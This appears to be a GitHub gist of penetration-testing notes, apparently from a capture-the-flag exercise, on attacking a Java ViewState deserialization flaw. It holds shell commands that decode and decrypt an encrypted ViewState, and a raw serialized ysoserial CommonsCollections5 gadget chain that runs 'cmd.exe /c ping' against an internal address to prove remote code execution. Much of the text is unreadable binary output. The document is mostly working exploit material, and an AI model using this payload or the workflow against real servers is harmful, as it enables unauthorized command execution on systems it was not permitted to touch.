8k3hKqRB8kJzWIZhqip5xm%0AL3ZE318bTqE7%2FHuR8lGjNzmytQcjZ8WHK59aLaXuOyvzRQ05jPPFo3Ru%2BfitqP38%0A50NCtzETbU6%2B4NFgkIRjSDn5mPO6J0Uc%2FNwZfg8%2B6kEB2Ekbz1EpDYC%2B%2FFlJ3S%2Bl%0Ad4ROVLoTrPk7pNNk1bkTEsiBvdkwiHGhrdSRqyL34OxROiCGKIVe73TuYT3iCGRT%0AajzQ1z6XoCObV41a9S7qSEgbK%2FISQ3zAvUr0vZ7DkPYjmxIMwK2svQ3jv27C1Q5p%0A1sIcQ6eCfFrlotOT%2BE%2FH2BCqBXXQp9n%2FolQZftpJjEHKKtspHu1s%2Bw4sIczNBd6Q%0AUYT30HTLpD0%2BPYWKcReCkaQTq1VWc%2FEtgfAOwB%2Fb8qwqvdpryuqdeQ9mJk1puBg4%0AsvFF6zgTsRGRNvsbo3xn7a%2BwLCda3PYGxQ75A5bc64JnoilAwTLv1%2Fd5cGgz2UfJ%0AeZ%2Big43TdSx1mZL8SnCQI%2FDfMEFqxb8oJF%2F7UMGPbPLbLmk7MENYWOKbOMwx5ct7%0AzeaPiGooxw18jSTyOzv0VJzUOEwAsd8VxuGY9PC5waiItIi%2BI7XkElhLbjbcMqHa%0AK3EF0SSgvtraTRiA8wtf5DinwXj2637fjmAtYsMBwrIQNcnXCrwTu5KrDaT8lMbC%0Ajhg9cthsRel1uV6IlBeXRLkhSBXlU21NJwO0SPLY9GqkReKnTktyZ1Dtt%2FWHhMKT%0Ay6KGOtgcICb3ML2DtQwJ93EWTeUPNTTgWZKYXUWWWbIl%2F16DWhLq%2BMYNc3gXF3wf%0Am5Gq8ywhwiVUZsnQgHL37b9zISnVe8ryfkav5i2v4r101YutYwNfYvEd7%2BEqoPO6%0AEZu5SgeQddk4I7kiBrmyF7%2FJeholNDWwgGxWbsJbBzVtrn3gOjfHOw9QI%2Ba6diBT%0Auv%2BAhJlnWgODIlybf9YMkybktk1rhRmEjbuovw%3D%3D | |
| NOTES: | |
| Test injection with tcpdump / wireshark -- | |
| -- DECRYPT -- | |
| REF -- | |
| https://encode-decode.com/des-ecb-encrypt-online/ | |
| INITIAL VIEWSTATE -- | |
| ❱ cat viewState.txt | |
| wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RSlWVVbH8NQA70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Okp6pVKHGA9nuFzrTFmaWFLxTWI%3D | |
| URLDECODE -- | |
| ❱ urlencode -d 'wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RSlWVVbH8NQA70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Okp6pVKHGA9nuFzrTFmaWFLxTWI%3D' | |
| wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RSlWVVbH8NQA70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Okp6pVKHGA9nuFzrTFmaWFLxTWI= | |
| STRIP HMAC FOR DECRYPT -- | |
| ❱ echo -n 'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RSlWVVbH8NQA70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Okp6pVKHGA9nuFzrTFmaWFLxTWI=' | base64 -d | head --bytes -20 | base64 -w0 > viewState.txt.b64 | |
| DECODE ENC PAYLOAD -- | |
| ❱ cat ping.bin.enc.b64.dec | base64 --decode | openssl enc -pass pass:pass -d | |
| ��0�Se|5��O�Y#R�(�LVxP�̋:Bo�Ubط��y̢,�;�Sa��Q�(r��H��4$x��ԫX����B���_ | |
| p���b߄�xe�jڇ{jq�9o����O@uE�������4g'�N�7�*�`0_��ͯc:lL�+y'��Dk,%P��̨r�q�qO�fJkCo9i�jH�_��~����!�"2j7��ѡ\�0��ܰdC��� | |
| n�P� �ߋ�j�����˘�@��Q�Ta�@F���]��O�H� ��Jܜ�W�݂6�����)+��T�i�b~���3����B$�"p�߈�� | |
| ��K�V�>P�%:�腊 �����]X�1jq�Ʃ��vE�_��D�uN����ֵɣu5 | |
| ��f&Mi�8�|V�L{�IW�KK)����?���>Y���m��kV#R��Ӽ��w��W�*#&=���C�h��n}p���%LKͻ�� | |
| s���Z���$�K;�Џ E��o�r? | |
| ���Ku�#���4�k�%<��|����4rZ��Z<��L.�EL�MG���;�{� D��e;�T{�,��v��,e���nR��y���'��҈����J�Y��MC0�e | |
| �B���e���j����7�OA�b?x"�#i���(�ƸiN���7��afw<U�B/@v!B�8���L.�EL��M��IC���Z�~�7a��o�w ��)a}^:c�N�~w�.�;�Q�^RV-���?��N�.��]/^"ACGg+-���W�^u'�T;�+��=Q�k�����!9��B$�"p���L.�EL����?�� | |
| ����[�� g�w�x���nItS�=b�N���/�q��o�)��|��{�l=ʭ��!�2������}���Y�qׇh�����嚌��& | |
| nF���">��ƛ/f�E�����`z ��n��YG'SԤW��%P���s�j��|�W�L�t�p=Q%���A!KQQg!:;�{��Q�79��#gŇ+�Z-��;+n낻���ٜ=`�J�n���1��;[7���5�ߣc�^u� `�Ac�/��B��Cg���>�WBH}�i� ?���<}!�6��R��f{0�i[gÁ�oͷ���Ӧ$e��"����*~��8m�9y?K8�"����݆�g*��$��g�^�:��� | |
| �����k������R ƺ | |
| ݏCC���_T�ՈN���<� | |
| ��Ƙ: �-q�k����ڞ��L���}��%K����1����Y����уۋ��K"�f@� | |
| ���YI�/�w�NT���;��dչȁ��0�q��ԑ�"���Q: �(�^�t�a=dSj<��>��#�W�Z�.�HHC|��J���Ð�#�79��#gŇ+�Z-��;+�E | |
| |�$�;;�T���[����{jq�9� ƍ�9p��A�*�)�l�,!��ސQ���tˤ=>=��q����UVs�-�����*��k��yf&Mi�8��E�8��6�|g���,'Z�������g�)@�2���yph3�G�y�����u,u���Jp�#��0Ajſ($_�P��l��.i;0CXX�8�1��{�揈j(� | |
| 5����w/bJ�st�9>�9J:�vS;�Q�t��v*�Ϣt�N1��ơ�� | |
| r��S�v�r�_zٚ��M>o휅�ƠEP�����ˢ�:� &�0��� | |
| sx|����,!�%Tf�Ѐr���s!)�{��~F��-��tՋ�c_b���*����J�u�8#�"����z�%45��lVn�[5m�}�:7�;P#�v S�����gZ% | |
| DECRYPT -- | |
| NOTE -- | |
| Openssl Decrypt is porked on 1.1.1b-1. | |
| TEST WORKS ONLINE FINE -- | |
| https://encode-decode.com/des-ecb-encrypt-online/ | |
| ��sr.javax.management.BadAttributeValueExpException��ګc-F@LvaltLjava/lang/Object;xrjava.lang.Exception� >; �xrjava.lang.Throwable��5'9w��LcausetLjava/lang/Throwable;L | |
| detailMessagetLjava/lang/String;[ | |
| stackTracet [Ljava/lang/StackTraceElement;LsuppressedExceptionstLjava/util/List;xpq~pur [Ljava.lang.StackTraceElement;F*<<�"9xpsrjava.lang.StackTraceElementa Ś&6݅I | |
| lineNumberLdeclaringClassq~LfileNameq~L | |
| methodNameq~xpJt&ysoserial.payloads.CommonsCollections5tCommonsCollections5.javat getObjectsq~ ,q~ | |
| q~q~sq~ 1tysoserial.GeneratePayloadtGeneratePayload.javatmainsr&java.util.Collections$UnmodifiableList�%1��Llistq~xr,java.util.Collections$UnmodifiableCollectionB��^� LctLjava/util/Collection;xpsrjava.util.ArrayListx�� ��a�Isizexpwxq~xsr4org.apache.commons.collections.keyvalue.TiedMapEntry��қ9� �Lkeyq~LmaptLjava/util/Map;xptfoosr*org.apache.commons.collections.map.LazyMapn唂�y�Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.ChainedTransformer0Ǘ�(z�[ | |
| iTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;�V*��4�xpsr;org.apache.commons.collections.functors.ConstantTransformerXv�A��L iConstantq~xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformer��k{|�8[iArgst[Ljava/lang/Object;L iMethodNameq~[ iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;��X�s)lxpt | |
| getRuntimeur[Ljava.lang.Class;���Z�xpt getMethoduq~2vrjava.lang.String��8z;�Bxpvq~2sq~+uq~/puq~/tinvokeuq~2vrjava.lang.Objectxpvq~/sq~+uq~/ur[Ljava.lang.String;��V�� {Gxptcmd.exet/ct ping -n 3 10.10.14.13texecuq | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment